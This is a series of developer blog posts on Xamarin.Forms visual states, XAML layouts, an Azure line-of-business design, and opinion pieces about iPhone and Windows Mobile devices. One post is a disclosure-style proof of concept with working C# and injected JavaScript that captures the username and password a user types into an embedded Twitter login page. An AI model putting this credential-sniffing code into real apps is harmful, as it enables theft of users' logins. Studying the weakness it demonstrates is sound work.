Last year I posted on “Taking Visual States Cross Platform to iOS and Android with Xamarin” and is a topic that I often come back when discussing the design and development of mobile applications. Let’s start by discussing what visual states are and why they’re important when building applications (and this really applies to any application, not just mobile applications). During the design of an application it’s common to prepare wireframes and visual designs that document each page, the key elements on each page and any associated behaviour. This typically includes documenting when elements are hidden or shown, often in response to either data changes or user interactions. The following screenshots show a recent application we worked on for Hungry Jack’s for Windows 10. This is the same page of the same application, running on the same device, just with a different window size. As you can see the difference between the first two images is quite significant as the navigation bar switches from being at the bottom (similar to what you’d expect for mobile) to on the left side. The third image simply augments the position of elements further to make better use of the available screen size.

image image image

Thorough analysis during the design phase will reveal all possible layout combinations for a page; these combinations are what we refer to (at least in the Windows/XAML world) as visual states. In the case of the screenshots from the Hungry Jack’s application, each of these layouts represents a different visual state for this page. If you don’t take the time to determine what visual states exist on each page and what triggers a transition between visual states, during development you’ll find yourself toggling attributes on element on the page in an attempt to recreate each required combination. This lack of a structured approach makes it not only hard to layout each page, it also makes it hard to test as there is no definitive list of layouts that need to be verified.

On the Windows platform, Visual States are something we take for granted; they can be declared in XAML and Blend has support for designing each visual state. However, other platforms are not so blessed and have to resort to changing attributes manually in code. Some cross platform technologies make use of data binding to allow visual elements to be dynamically updated based on changes in the corresponding data (ie the view model). These include MvvmCross and Xamarin.Forms. However, data binding should be reserved for updating data values on a view, not controlling the visual states on a page.

Learning to develop for the Windows platforms, developers go through a series of learning steps.

  • Coding Changes: Most developers come from building applications or web sites where they’re used to having to set data values in code.
  • Data Binding: The first step along the progression is learning how to use data binding to update content on the page (eg Text on a Textblock)
  • MVVM: After seeing the benefit of data binding, the next step is to appreciate the separation of concerns that MVVM offers. At this point developers often look at what MVVM libraries there are out there and usually settle on something like MvvmCross, MvvmLight, Caliburn.Micro, Prism etc
  • Converters: Equipped with the new found power of data binding, developers often go nuts and start data binding everything, including using properties on the view model to control when items should be visible. This is where they look to use converters to adapt properties on the view model (eg XYZIsVisible which would be a bool) to attributes on visual elements (eg XYZ.Visibility which is a Visibility). The issue with this is that at design time, in a tool like Blend, it’s very difficult to see what the layout looks like. You can’t simply change the Visibility property on elements, since they’re now data bind. You can temporarily remove the data binding, but then of course you forget to put it back and then spend hours trying to work out why the application is broken.
  • Visual States: Enter Visual States…. instead of data binding attributes that control the layout of a page, it’s better to use visual states to define what elements are visible and any layout changes required for a particular layout. Blend supports design time editing of visual states and the ability to visualize any combination of visual states from different state groups
  • View Model States: Eventually developers realise that not only should they use visual states, they should track and control them from their view model, thus making yet another aspect of their application testable. I’ve talked about this a couple of times (http://nicksnettravels.builttoroam.com/post/2015/08/10/application-development-using-states-and-transitions.aspx, http://nicksnettravels.builttoroam.com/post/2014/01/11/Visual-States-in-Windows-Phone-and-Windows-Applications-using-MvvmCross.aspx, http://nicksnettravels.builttoroam.com/post/2014/05/19/Taking-Visual-States-Cross-Platform-to-iOS-and-Android-with-Xamarin.aspx)

Ok, so now that you have the basics on what a visual state is, and some background on why I believe visual states are so important, let’s discuss the elephant in the room….. Visual States only exist in XAML on the Windows platform…. making it very difficult to use visual states when building cross platform applications. So, what can we use when building cross platform? Well let’s go through the progression that developers go through. As you’d expect, all platforms support developers being able to adjust values via code. Unfortunately, this is where most developer technologies end, for example neither iOS (Objective-C, Swift) or Android (Java) support data binding out of the box. There are some third party solutions that attempt to bridge this gap, such as the data binding support in MvvmCross and Xamarin.Forms. In fact both these options provide not only the ability to data bind, but also enable MVVM and support using converters as part of data binding.

In actual fact there’s no requirement to have data binding (and subsequently MVVM and the use of converters) in order to start using visual states to control layout. However, again there’s almost no platform, or even third party, support for defining visual states.Over the weekend, I was experimenting with Xamarin.Forms and was thinking about how to define and transition between visual states. Whilst it would be nice to do it declaratively in XAML, I thought I’d better walk before I run, so I figured I’d work out a way to define visual states in code. Before getting started I thought though the basic mechanics of how visual states should work:

– Visual States should be declared in groups, and each group can only have one active visual state at any given time

– A visual state should define any number of value actions

– A “value action” defines setting a property on an element to a specific value

– The visual state manager should be able to change to a specific visual state

– Changing to a specific visual state, should only adjust the current state of the group that the visual state belongs

I’ve always felt that one of the weaknesses of Visual states on the XAML platform is that they’re named using a string, and the only way to reference them when changing state, is using a string literal. So, for my attempt at a visual state manager I’m going to have my visual states defined as an enumeration. In fact, each group of states will use a different enumeration type – thus each visual state corresponds to a unique enumeration value. The end game is to be able to declare visual states in a relatively fluid manner, as shown in the following example which defines two groups based on the enumerations SecondStates and SecondStates2.

VisualStateManager
    .Group<SecondStates>()
        .DefineState(SecondStates.State1)
        .DefineState(SecondStates.State2)
            .Target(textBlock)
                .Change(x => x.TextColor, (x, c) => x.TextColor = c)
                .ToValue(Color.FromHex(“FFFF008B”))
            .Target(textBlock)
                .Change(x => x.FontSize, (x, c) => x.FontSize= c)
                .ToValue(40)
        .DefineState(SecondStates.State3)
            .Target(textBlock)
                .Change(x => x.TextColor, (x, c) => x.TextColor = c)
                .ToValue(Color.FromHex(“FFFFC500”))
            .Target(textBlock)
                .Change(x => x.FontSize, (x, c) => x.FontSize = c)
                .ToValue(10)
        .DefineState(SecondStates.State4)
    .Group(SecondStates2.Base)
        .DefineState(SecondStates2.StateX)
        .DefineState(SecondStates2.StateY)
            .Target(textBlock2)
                .Change(x => x.TextColor, (x, c) => x.TextColor = c)
                .ToValue(Color.FromHex(“FFFF008B”))
            .Target(textBlock2)
                .Change(x => x.FontSize, (x, c) => x.FontSize = c)
                .ToValue(40)
        .DefineState(SecondStates2.StateZ)
            .Target(textBlock2)
                .Change(x => x.TextColor, (x, c) => x.TextColor = c)
                .ToValue(Color.FromHex(“FFFFC500”))
            .Target(textBlock2)
                .Change(x => x.FontSize, (x, c) => x.FontSize = c)
                .ToValue(10);

In my next post we’ll look at the different classes that make up the visual state manager and the extension methods that allow for the fluid declaration seen in this example.

Active Directory Authentication with iOS with Xamarin.Forms

Active Directory Authentication with iOS with Xamarin.Forms

Essentially this doesn’t appear to currently work. Due to the alignment of iOS projects to the Unified APIs I think there is currently a compatibility issue between the ADAL prerelease library and the Xamarin.Forms implementation. I’ll come back to this once we have a resolution for this.

Building the Xamarin.Forms Basic Layout Using XAML

Building the Xamarin.Forms Basic Layout Using XAML

The initial content page that was created when we created the XForms projects was done in code. Rather than doing the layout in code, I prefer to work in XAML – not only does this make the design more declarative, it is also miles easier to data binding. I’ll start by creating a new Forms Xaml Page.

image

Next we’ll add some XAML to the page (similar to what we added to the Windows MainPage):

<?xml version=”1.0″ encoding=”utf-8″ ?>
<ContentPage http://xamarin.com/schemas/2014/forms"”>http://xamarin.com/schemas/2014/forms”
             http://schemas.microsoft.com/winfx/2009/xaml"”>http://schemas.microsoft.com/winfx/2009/xaml”
             x_Class=”RealEstateInspector.XForms.MainPage”>
  <ListView ItemsSource=”{Binding Properties}”>
    <ListView.ItemTemplate>
      <DataTemplate>
        <ViewCell>
          <ViewCell.View>
            <Label Text=”{Binding Address}” />
          </ViewCell.View>
        </ViewCell>
      </DataTemplate>
    </ListView.ItemTemplate>
  </ListView>
</ContentPage>

And in the code behind for the MainPAge we’ll create, assign and load data into the MainViewModel:

protected async override void OnAppearing()
{
    base.OnAppearing();

    var vm = new MainViewModel();
    BindingContext = vm;
    await vm.LoadPropertyData();
}

And of course I need to update the code in App.cs to use the new XAML MainPage, rather than the code created ContentPage:

public App()
{
    // The root page of your application
    MainPage =new MainPage();
}

When you go to run this you’re likely to see errors due to lack of references for the SQLite extensions. Most references will get added if they are used by referenced libraries. What makes SQLite different is that there are platform specific implementations which are only added to the platform specific project. As such you need to make sure all the client applications have the SQLiteStore NuGet package referenced. I ran into issues applying the NuGet package to the Android project as it seemed to not be able to find the HttpClient NuGet package – I had to add this NuGet package to the Android project first, before applying the SqliteStore NuGet Package.

image

After doing this I was able to run up the XForms applications on each of the platforms, each displaying the addresses of the properties in my local offline database.

Adding Xamarin.Forms Support

Adding Xamarin.Forms Support

So far I’ve only had support for the new Windows platform clients (ie Windows and Windows Phone) for my Real Estate Inspector sample app. However, to make it successful we need to target more platforms. To this end I’m going to add support for iOS, Android and Windows Phone 8.0 using Xamarin.Forms.

After installing the Xamarin tooling for Visual Studio, I added a new project using the Blank App (Xamrain.Forms Portable) template. This actually look multiple attempts as I hadn’t updated the Xamarin tooling prior to creating the projects. I would highly recommend upgrading the tooling first!

image

This will give you three target projects Driod, iOS and WinPhone, in addition to a PCL which contains the common code and ui for the applications. You should be able to build and run each of these targets – however, you’ll need to either register for a trial or have a Xamarin Business subscription. Since the UI is help in the PCL project, it’ll be the same across all the targets, although there may be platform rendering differences.

Now that we have these three targets, we’re going to have to connect up our Azure Mobile Service, work out how we’re going to deal with navigation and structure our solution to maximise code reuse across our Windows platform projects.

Mobile First, Cloud First and How it Applies to Line of Business Software

Mobile First, Cloud First and How it Applies to Line of Business Software

I’m going to start the year by dissecting a typical business scenario which will demonstrate how the use of Windows, Windows Phone and Azure can be plugged together to quickly deliver a line of business solution. Throw in a bit of Xamarin and a web front end and you have a solution that will enable employees to use any device they choose in order to access the software.

The first thing to cover is the scenario, which in this case is going to be a property inspection tool that could be used by a property manager to do periodic property inspections required under most rental agreements. At first glance this appears to be a tool that is specific for the real estate industry but as we’ll see there are a number of components that make it similar to any task, defect or issue tracking system:

– Property managers will have a number of properties assigned to them to manage
– Properties will have a history of inspections which may include images and/or videos
– Property information, and perhaps most recent inspection, needs to be available offline (just in case there is no internet inside a property being inspected)

– Inspections need to be able to be created, edited and submitted from a mobile device

This will probably do for the time being; as we go we may introduce other elements to demonstrate the use of various platform components. What’s interesting to note at this point is that properties can be switched out for projects, and inspections for tasks, if this scenario were a task/issue/defect tracking system.

At a high level let’s discuss the major components:

– Mobile devices – Naturally as .NET developers we gravitate to what’s easiest so we’ll include Windows and Windows Phone applications based on the universal app template which uses a shared code project to prompt reuse. However, we shouldn’t neglect the other platforms so we should include iOS and Android projects, using the Xamarin tooling. Our business logic we’ll abstract into a portable class library (PCL) to attempt to give us maximum reuse.

– Services – Azure Mobile Services will give us the raw scaffolding to stand up a SQL Server backend with services exposed to surface data to our mobile applications. These services support synchronisation which we’ll use to give the mobile applications offline support.

– Blobs – Azure Blob Storage will be used to store the images and videos collected as part of the solution. Whilst the service tier will be used to control access to Blog Storage (by issuing Shard Access Signatures) the upload will be done from the mobile applications directly into blob storage

– Authentication – As this is a line of business solution we’d prefer users to not have to remember another set of credentials. To this end the solution will use Azure Active Directory (AAD) to authenticate users and grant them access to the software. The users can be synchronised from the corporate AD into AAD so as to maintain a single set of credentials for any user.

– Web application – An Azure Website will be used to provide desktop and mobile solution for those unable to use the mobile applications. Whilst this could go directly to the SQL Server backend, it will in fact be routed via the service tier to ensure a common authentication pattern and usage model for the data.

– Scheduling – A scheduler will be setup in Azure for use by the solution in order to schedule particular jobs or operations to be carried out. For example the periodic generation and sending of reports.

– Push Notifications – When new data is available, push notifications can be sent out to the mobile applications to either alert the appropriate user, or perform a background synchronisation of the new data.

I’ll use this post as a reference for the components that I’ll be discussing in the coming posts. The components aren’t in any particular order and the posts won’t focus on individual components, rather how they connect together and what you need to know to get them to work together.

Getting Started with Design for Windows, Windows Phone, iOS and Android

Getting Started with Design for Windows, Windows Phone, iOS and Android

Here’s a summary of some of the design guidelines for the various mobile platforms:

Windows Phone
http://developer.windowsphone.com/en-us/design

Windows
http://msdn.microsoft.com/en-au/windows/apps/hh779072.aspx

Android
http://developer.android.com/design/index.html

iOS
https://developer.apple.com/library/ios/design/index.html

 

Another great resource on user experience design is the UX Mastery website

http://uxmastery.com/

In particular the book Everyday UX is worth purchasing:

http://uxmastery.com/everyday-ux-remarkable-people-telling-their-stories/

Why the iPhone 5 is a Fail

Why the iPhone 5 is a Fail

When the iPhone 5 came out I thought it about time that I experience how the other side lives; you know the side that seem to drool at any thing white and shiny (also known as ilunatics for participating in iqueues).  Most people who know me know how Microsoft-centric my world is but from time to time I do step out and try to familiarise myself with other platforms. With this in mind when I renewed my phone contract I signed up for an iphone 5, which of course came with a replacement nano-sim.

Ok, so here are just a few of my observations:

Why a nano-sim? I don’t believe the space saving warrants being different from every other phone on the market. I had to spend two extra agonising days with the iphone, just because I couldn’t find a converter to go back up to a micro-sim.

Why the new socket? Ok, not being in the land of white and shiny, I don’t really care that it’s changed. What I care about is the Apple have again defied the industry and gone with their own proprietary connector. Instead of using one of hundreds of micro-usb cables I have floating around, I have to use the white cable that came with the device, and I have to keep it in a locked box for fear on our cats chewing on them (they seem to hate Apple products and will chew on them at any opportunity).

The apps rock! The one thing I have to say about the iphone is that the quality and depth of apps available is second to none. Whilst some haven’t been adapted to the new height of the iphone 5 they’re still of exceptional quality.

The core platform does NOT rock When the iphone first came out the interface was revolutionary in the way that users interacted with the device. My comment, even back when the iphone 3 came out is that Apple had failed to innovate with the iphone; evolve, absolutely, innovate, not so. With iphone 4 and now 5 there is nothing that I’ve seen in the core platform that says to me “I’ve got to have that” If you compare the numerous Android devices on the market, the iphone 5 really just doesn’t lead the pack, in fact from a UX perspective it trails a poor third to both Android and Windows Phone.

The Ads, Really??? I don’t know whether you’ve seen the new TV ads that talk about how they’ve optimised the height of the new iphone 5. I must admit I had to double-take as I thought it was a spoof initially, now I just feel embarrassed for Apple. They must really be scared if they’ve stooped so low. Don’t get me started on the ear buds (as if no other headphone manufacture has shaped their earbuds before, in fact shame on Apple for not having done this sooner) or the dancing ipods.

Lastly, before I sign off I want to make an interesting observation about the timing of the ipad mini v’s Windows 8. As you’re probably aware Apple made their announcement the day prior to Microsoft’s mega Windows 8 launch. It strikes me that Apple might have got this the wrong way round – by putting it the day before, it was almost forgotten the next day when Microsoft went to press. Had they done it the day after, wouldn’t they have taken the focus back from Microsoft back onto Apple. I’m no marketer but would have loved to have heard the logic about the timing of these events.

Don’t forget that next week is BUILD

Hack: OAuth security flaw for Windows Phone 7, iPhone and other Mobile platforms

Hack: OAuth security flaw for Windows Phone 7, iPhone and other Mobile platforms

If you’ve ever had to work with one of the multitude of social networking sites out there (eg Facebook or Twitter) you’d be familiar with Oauth (official documentation is http://oauth.net/ but most sites have their own documentation too). For integrating these sites into a website Oauth seems to be relatively secure. There are a couple of implementations: OAuth 1, which Twitter currently uses which is a royal pain to implement, and then OAuth 2, which Facebook uses. What I’m going to show in this post is just how dangerous OAuth is for rich client applications (ie native applications for desktop and for most mobile platforms).

The original intent behind OAuth was good and noble. It stems from the lack of trust that users have for websites that prompt for a set of credentials that they don’t manage. For example if DodgyWebSite43.com asked for your Facebook credentials you won’t enter them would you! So the idea is to send the user off to Facebook to authenticate; once authenticated the user is returned to the original website along with a token that indicates they’re authenticated.

For rich client applications (in this example I’ll use a Windows Phone 7 application but the point I’m making is in no way an issue with the platform, rather than with OAuth as a protocol) the idea is that you display a web browser control (UIWebView if you’re in iOS-land) and direct the user to sign into the social network of your choice. Once they’re signed in the host application can extract the authenticated token. Again, the idea is that the application isn’t requesting the user’s credentials. In fact, the application shouldn’t be able to access the user’s credentials at any point in the process.

This is where things start to go pair-shaped. Nearly every rich client platform which has a web browser control that can be used to render web content within an application, also allows the host application to interact with the content. In most cases this can be used to invoke javascript. With some relatively basic manipulation of the HTML DOM you can easily, and I mean easily, extract any data that the user enters.

I’ll step through how I did this in my Windows Phone 7 application:

Step 1: Create the UI – some basic XAML to display a WebBrowser control

<phone:WebBrowser x_Name="Browser"
                     ScriptNotify="Browser_ScriptNotify"
                     IsScriptEnabled="True"
                     LoadCompleted="Browser_LoadCompleted" />
 

Notes: I’ve enabled scripts by setting IsScriptEnabled to true. I’ve attached an event handler to the LoadCompleted event; this will allow me to interact with the DOM once the page has rendered. I’ve also attached a handler to the ScriptNotify event; this will allow me to send data from javascript back out to the host application.

Step 2: Navigate to the login screen

void MainPage_Loaded(object sender, RoutedEventArgs e)
{     // Facebook OAuth login: eg http://www.facebook.com/dialog/oauth/?response_type=token...
     // Twitter login: eg mobile.twitter.com/session/new
     this.Browser.Navigate(new Uri("http://mobile.twitter.com/session/new"));
}
 

image

Notes: Running this you’ll see that the browser navigates to the Twitter sign in page – at this point the user is entering their credentials into the Twitter site. However, what they don’t realise is that the application could be sniffing the data they enter.

Step 3: Inject some Javascript

private void Browser_LoadCompleted(object sender, System.Windows.Navigation.NavigationEventArgs e)
{     try
     {
         Browser.InvokeScript("eval", "(function(){" +
             // Find all the input fields
             "var fields = document.getElementsByTagName('input');" +
             // Iterate through looking for text and password fields
             "for(var j=0;j<fields.length;j++){" +
                     "if(fields[j].type=='text' || fields[j].type=='password'){ " +
                         // Attach event handlers to retrieve the changed values
                         "fields[j].attachEvent('onchange',function(e){" +
                             "setTimeout('(function(){window.external.notify("' + e.srcElement.value + '");})()',50);" +
                         "});" +
                 "}} " +
             "})()");
     }     catch     {     }
}
 

Notes: This block of code calls the javascript eval method, passing in a parameter that defines an entire javascript function. eval will interprete and execute that function; this pretty much allows you to run any javascript code you want. Hopefully the comments in the javascript should be enough for you to work out what it does up until the setTimeout method.

The window.external.notify javascript method is how we send data from javascript back out to the host wp7 application. When this method is invoked, it raises the ScriptNotify event on the WebBrowser control, passing the method parameter out into the event handler.

You might be asking why we don’t call window.external.notify directly at this point. Unfortunately if you do that you’ll never see the ScriptNotify event raised. I suspect that this is some sort of conflict occurring on the UI thread – essentially the onchange event is getting raised in javascript due to some UI event from the user (eg moving between fields); this in turn is trying to raise the ScriptNotify event on the UI thread of the browser, which is currently locked. Anyhow, we get around this by effectively delaying the window.external.notify method call by 50 milliseconds.

Step 4: User enters username and password

Notes: After each value is entered the ScriptNotify event is raised, passing out the data entered

Step 5: Extract the data returned from javascript

private void Browser_ScriptNotify(object sender, NotifyEventArgs e)
{     // Extract the exported data
     var txt = e.Value;
}
 

Notes: The variable txt holds the exported value from the text or password input field. The application can then do what it likes with those details.

 

When I run this application and enter values, each field I enter text into is exported (see the list of data values below the WebBrowser).

image

I’ve included this as a working example (don’t forget to unblock the file when you download it):

As you can see it is super easy for a rich client application to effectively steal user’s credentials whilst they are logging in via a WebBrowser control. The moral of this story is that OAuth should not be used for rich client applications and that the social networking sites need to mature and offer a secure mechanism for rich client applications to authenticate against their services without those applications accessing the users credentials directly.

iPhone User Experience Fail

iPhone User Experience Fail

This afternoon I planned to go play in the AppStore. Since everyone’s been raving on about all the cool apps in there I figured I must be missing something – Don’t get me wrong I’ve been in there before but I’m not really an apps person. I use the built in phone capabilities and the occasional app to get the odd job or two done.

Turns out that since the last time I turned on my iphone the beta of iphone OS 4 has expired so my iphone is just sitting there blinking at me indicating that I need to connect to iTunes. I connected to my PC and opened up iTunes (I could almost feel the groan from my computer when I did this). It then comes up with a message saying the iphone software has expired – great, so update it for me. No chance! Restore…. Fail, Check for Updates….. none available, you’re running v4.0 which is the latest and greatest…. not!

Thinking that of course my PC is stupid and what would it know I powered up my Mac. Same deal. I went to the iphone developer website in order to get the v4.0 update and ran into two issues:

– I’ve got two developer profiles with Apple for the companies that I work with. This means that when you sign in they ask you which profile you want to connect to. Do you think I could select one and proceed? Not a hope!

– Once I finally restarted my browser, cleared the cache etc I went back to the iphone dev centre it came up with a message saying it was being updated and to come back soon…. FAIL – you mean I have to sit here with a iphone that doesn’t work?

The work around was simple enough – back to the PC, open the iphone dev centre (which for some reason still works on my PC), download the update, copy update to mac (so I can update my iphone), update iphone from iTunes (on the Mac).

Honestly, that they have the nerve to accuse other companies of a poor user experience…..

It’s no iPhone UI but it’s a step up for Windows Mobile

It’s no iPhone UI but it’s a step up for Windows Mobile

Over the weekend, after a long flight back from the US, I got particularly frustrated by my HTC Touch Pro device – the Today screen basically crashed and required me to take the battery out in order to restart the device.

<Rant>

Before I go much further can I state publically that I think that the current HTC devices (namely the Diamond (from other’s feedback) and the Touch Pro) are some of the worst devices I’ve seen. Whilst the HTC customised UI is “nice” something doesn’t play nice on the device causing all sorts of issues.  This coupled with a complete lack of any support from either HTC or eXpansys Australia has left me very disfranchised about the device that I paid >$1000 for. I have purchased a number of devices from eXpansys UK but this was the first and only device I will ever by from the Australian subsidiary – the lack of any real support on the issues with this device means that I would discourage anyone from every purchasing from eXpansys Australia.

</Rant>

Ok, enough of me ranting.  What I did want to cover was the Point UI Home 2 interface. Like so many other interfaces this uses a series of icons and gestures to try to optimise the layout of the home screen.  I’ve included a number of the screens:

image image

image image

Unfortunately it seems that Pocket Controller-Pro doesn’t seem to be able to capture the higher resolution on this device so the images are a little grainy. In the second image you can see the transition between Date/Time/Weather view and the Task list view.  This is done by sweeping your finger across the top part of the display.

At the bottom you have a series of buttons that can be used to bring up Call history, Favourite applications (you can specify 9), Favourite contacts and Messaging.

All in all, I think this UI is much easier to use that the default Touch Pro interface and a significant improvement over the default Windows Mobile 6 UI.  In fact I’d almost say, based on the screenshot presented from WMC that it is more intuitive than what’s coming in Windows Mobile 6.5 with the Honeycomb start interface.

iPhone Killer Application

iPhone Killer Application

Today at Geek Coffee we were considering what the next big killer mobile application is going to be.  Clearly one of the hottest areas for mobile is location awareness.  The Telcos have traditionally been holding the market back in this area – they’ve had the technology to be able to do this for years but unless you want to pay thousands of dollars you’re not able to get at this data. There is a change in the air and in the next couple of years I expect there to be much more in this space. 

Anyhow as part of our brainstorming we came up with a real gem:  There is an increasing number of people complaining about the iphone and there are a large number of people who have had to take a device back for whatever reason.  How about a “Return to Sender” application?  All it does is give you the quickest route from where you currently are to the nearest Apple store, where you can return your device.

image image

I’m sure it would take no more than an hour to knock this up and yet how useful would it be to all you iPhone users…..

HTC Touch Pro – Breaking the iPhone trend

HTC Touch Pro – Breaking the iPhone trend

One of the trends that I’ve seen over the last week or two is the growing number of previously loyal Windows Mobile users who have drunk the apple juice and are now wielding an iPhone. Whilst I have nothing against the iPhone I can’t see myself using a device that doesn’t support primitive operations such as copy-n-paste or that assumes that we wouldn’t want to schedule a meeting with more than one attendee….(list goes on).

With this in mind, when the screen on my HTC Touch Dual stopped working a couple of weeks ago I made the decision to go with the HTC Touch Pro.  Eventually it arrived yesterday and I must admit HTC do a great job of packaging:

IMAG0002

IMAG0003IMAG0005  

As I was unboxing and setting up the device I went through a bit of a mental checklist:

  • Minimal yet funky packaging
  • Easy to put together including battery, Sim card and microSD card
  • Autoconfigured for my carrier (3G support out of the box!)
  • Easy to connect through to Exchange (enter email and password and it’s done)
  • Nice user interface (much better than raw Windows Mobile but still a bit laggy in areas)
  • Device.exe crashes frequently
  • Screen is slow to respond

Honestly, why have I got yet another Microsoft based device that crashes (oh wait, it’s Windows, I should be used to this….).  Where is the quality in what’s being shipped. I don’t think that Microsoft or HTC get what really drives the consumer market but surely they must understand that consumers just want stuff that works.

iPhones are for Girls, Diamonds are for Men

iPhones are for Girls, Diamonds are for Men

This post started out as a bit of a grumble about the complete lack of support here in Australia for Windows Mobile devices.  I recall about a months or so ago being pleasantly surprised when I saw the HTC Touch Dual on that back of buses.  It got me thinking that Microsoft Australia actually cared what devices we bought and were trying to make a difference.

Unfortunately, last week my trusty device (the Touch Dual) packed it in.  For some reason the screen is completely dysfunctional – whilst you can still do quite a few things with the device with no touch screen, it’s almost impossible to dismiss alarms/reminders and send SMS messages.  This is because the hardware manufacturers have decided to move away from providing hardware alternatives to the on-screen soft-keys.

Over last weekend I went looking for a new Windows Mobile device.  Being familiar with the HTC Diamond I thought I’d at least start with that.  I know that the Touch Pro (essentially the Diamond with a keyboard) has been released but I doubted that anyone in Australia would stock it.  What I wasn’t prepared for was the complete lack of nearly any Windows Mobile based devices in any of the stores we went into.  I think we went into close to 10 shops covering 3, Telstra, Vodafone, Optus and a couple of other less carried dependent stores.  Of these stores perhaps 1 or 2 of them had the Touch II or the Touch Dual. Surprisingly the Telstra store had a Diamond on display but that was the only Windows Mobile device out of around 30 phones on display.  Nearly all the stores had the usual suspects of Blackberry, Nokia, Samsung etc on display. Oh, and yes, of course there was the mandatory iPhone propaganda.

In summary I don’t know what the Windows Mobile group is doing in Australia, but it’s definitely not working.  The message is not getting out, the devices are not a viable alternative as the plans are not competitive and they are not accessible!

Ok, so now for some good news.  I happen to be waiting to get my hair cut and was flicking through a copy of Men’s Style and came across a one page comparison between the iPhone and the HTC Diamond.  I immediately thought “here we go, more Go Buy an iPhone rubbish,” but no, this was actually a fair comparison of the good and bad points of the devices.  In fact, after reading it you’d want to go and buy the HTC Diamond.

IMAGE_496 IMAGE_497

To wrap this post up, I’m going to conclude that since this was in a Men’s article that (HTC) Diamonds are clearly designed for men, whilst iPhones are only suitable for girls.

iTouch/iPhone UI: Appointment Date/Time

iTouch/iPhone UI: Appointment Date/Time

When the iPhone first came out and everyone was raving about its user interface I had to agree with them, despite being a long-term Windows Mobile user.  Of course, like all new user interfaces there are always going to be some learning points but on the whole there is a lot to be said for an interface that was solely developed for the use with a finger.

Take the following screenshot, which is actually of an iTouch but could easily be an iPhone, you can see that at the bottom of the screen shot is a set of rollers.  These are used to set the date and time that an appointment is to start.  By flicking your finger across the rollers you can wind the date/time forward/backward at different speeds depending on how quickly you move your finger.

IMAG0087

The clear advantage of this interface over the traditional date/time pickers used by the new appointment dialog on Windows Mobile (see below).  In fact the Windows Mobile interface is so bad (actually perhaps old is a better term of it) that you can’t reasonably use it with a finger, you really do need to either use a stylus or if you’ve worked out how, the d-pad.

image image

The current guidance from Microsoft for new Windows Mobile applications is to build for the smartphone (ie no-touch) with the assumption that this is the canonical set of the controls available for both platforms.  Unfortunately this is probably the worst thing you can do for a usable touch interface.  In my opinion if you want to build an awesome application for the Pocket PC (ie Windows Mobile 6 Classic or Professional – urge why do we still have such silly sku names!) you should be focused on a “touch first design”.

Side note: My apologies for the rather poor photo of the iTouch. Of course Pocket PC Controller (used for the Windows Mobile screenshots) doesn’t work with the iTouch and my HTC Touch Dual has a barely competent camera under low light conditions 😉